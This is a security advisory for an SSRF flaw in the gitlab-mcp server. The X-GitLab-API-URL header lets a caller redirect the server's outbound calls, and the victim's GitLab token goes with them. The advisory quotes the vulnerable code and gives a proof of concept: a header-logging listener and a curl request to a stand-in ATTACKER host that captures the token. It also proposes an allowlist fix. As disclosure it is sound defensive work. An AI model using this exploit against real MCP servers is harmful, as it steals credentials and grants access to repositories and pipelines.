Details
# Server-Side Request Forgery via X-GitLab-API-URL Header Allows Credential Theft
## Affected
- **Repository:** `zereight/gitlab-mcp`
- **Affected versions:** All versions through commit `74a8c83`
- **Patched versions:** None at time of report
## Severity
High. CVSS v3.1 8.5 (`AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N`)
## Description
When the environment variable `ENABLE_DYNAMIC_API_URL=true` is set, the server
reads the `X-GitLab-API-URL` HTTP request header and uses it as the base URL for
all outbound GitLab API calls made within that request. The server validates that
the value is a well-formed URL (`new URL(dynamicApiUrl)`) but applies no
allowlist or hostname restriction. The server then attaches the victim's
`Private-Token` to every outbound fetch that uses the redirected URL.
Any caller who can reach the HTTP transport can set `X-GitLab-API-URL` to an
attacker-controlled host. The next GitLab API call the server makes delivers the
victim's token to that host.
The vulnerable code appears at two locations.
**SSE handler (`index.ts:11541`):**
```typescript
const dynamicApiUrl = req.headers["x-gitlab-api-url"]?.trim();
if (ENABLE_DYNAMIC_API_URL && dynamicApiUrl) {
apiUrl = normalizeGitLabApiUrl(dynamicApiUrl); // no allowlist check
}
```
**Streamable HTTP handler (`index.ts:11787`), inside `parseAuthHeaders`:**
```typescript
const dynamicApiUrl = req.headers["x-gitlab-api-url"]?.trim();
if (ENABLE_DYNAMIC_API_URL && dynamicApiUrl) {
new URL(dynamicApiUrl); // syntax-only check
apiUrl = normalizeGitLabApiUrl(dynamicApiUrl); // any reachable host accepted
}
```
In both cases, `apiUrl` propagates through `getEffectiveApiUrl()` and into
`getFetchConfig()`, which attaches `Private-Token: <victim_token>` to every
outbound fetch. The token reaches the attacker's host, not GitLab.
## Proof of Concept
Run upstream `zereight/gitlab-mcp` at commit `74a8c83` with
`ENABLE_DYNAMIC_API_URL=true` and `REMOTE_AUTHORIZATION=true`.
```bash
# 1. Start a listener on the attacker host (port 9099)
# Any HTTP server that logs incoming headers will work.
python3 -c "
import http.server, sys
class H(http.server.BaseHTTPRequestHandler):
def do_GET(self):
print('HEADERS:', dict(self.headers))
self.send_response(200); self.end_headers()
http.server.HTTPServer(('0.0.0.0', 9099), H).serve_forever()
"
# 2. Send any MCP tool call with the malicious header
curl -X POST http://TARGET:3002/mcp \
-H "X-GitLab-API-URL: http://ATTACKER:9099/api/v4" \
-H "Authorization: Bearer ANY_VALID_TOKEN" \
-H "Content-Type: application/json" \
-d '{"jsonrpc":"2.0","method":"tools/call","params":{"name":"list_issues","arguments":{"project_id":"1"}},"id":1}'
```
The listener receives:
```
GET /api/v4/projects/1/issues HTTP/1.1
private-token: <VICTIM_GITLAB_TOKEN>
Host: ATTACKER:9099
```
The victim's token arrives at the attacker host. The attacker never needed it
in advance. The MCP server delivered it.
## Impact
The attacker obtains the victim's GitLab Personal Access Token or CI/CD job
token in a single request. With the stolen token they gain full GitLab API
access at the victim's permission level: read of all repositories, issues,
merge requests, CI/CD pipeline definitions and variables/secrets; write to push
code, modify pipelines, create or delete resources, and rotate CI/CD variables.
CVSS factors:
- `PR:L`: reaching the HTTP transport requires presenting some auth token
- `S:C`: the attack crosses the boundary into GitLab (a separate security domain)
- `C:H`: victim's GitLab token stolen in one request; full read of all scoped data
- `I:H`: attacker can push code and modify pipelines with the stolen token
- `A:N`: the MCP server continues operating normally
## Why This Is a Vulnerability, Not Intended Behavior
`ENABLE_DYNAMIC_API_URL` is documented for supporting self-hosted GitLab
instances at a non-default base URL. The intended caller behavior is to supply
the URL of their own GitLab instance. The feature has no mechanism to distinguish
a legitimate self-hosted GitLab URL from an attacker-controlled host. Once
enabled, every request that includes `X-GitLab-API-URL` can redirect the server's
credential-carrying outbound calls to any reachable host with no restriction.
PR #453 (merged) added a startup guard that blocks the Streamable HTTP transport
from running with static tokens unless `REMOTE_AUTHORIZATION=true` or OAuth is
configured. That guard runs once at server startup and checks transport
configuration. It does not modify `parseAuthHeaders`, does not validate
`X-GitLab-API-URL`, and does not restrict the token-forwarding path at runtime.
The SSRF sink at `index.ts:11787` is unchanged in the current code and fully
reachable in the documented multi-user deployment mode (`REMOTE_AUTHORIZATION=true`).
## Remediation
Validate `X-GitLab-API-URL` against a configurable allowlist of trusted GitLab
hostnames before assigning the value to `apiUrl`. Reject any request whose
`X-GitLab-API-URL` hostname is not in the allowlist. Apply this check at both
`index.ts:11541` and `index.ts:11787`.
Example fix for the Streamable HTTP handler:
```typescript
const ALLOWED_HOSTS = (process.env.GITLAB_ALLOWED_HOSTS ?? "")
.split(",").map(h => h.trim()).filter(Boolean);
const dynamicApiUrl = req.headers["x-gitlab-api-url"]?.trim();
if (ENABLE_DYNAMIC_API_URL && dynamicApiUrl) {
const parsed = new URL(dynamicApiUrl);
if (!ALLOWED_HOSTS.includes(parsed.hostname)) {
throw new Error(`X-GitLab-API-URL hostname not in allowlist: ${parsed.hostname}`);
}
apiUrl = normalizeGitLabApiUrl(dynamicApiUrl);
}
```
Document `GITLAB_ALLOWED_HOSTS` in the README alongside `ENABLE_DYNAMIC_API_URL`.
If maintaining an allowlist is not feasible, disable `ENABLE_DYNAMIC_API_URL` by
default and document the token-forwarding risk prominently.
## Credit
Reported via GitHub Security Advisory on 2026-06-07.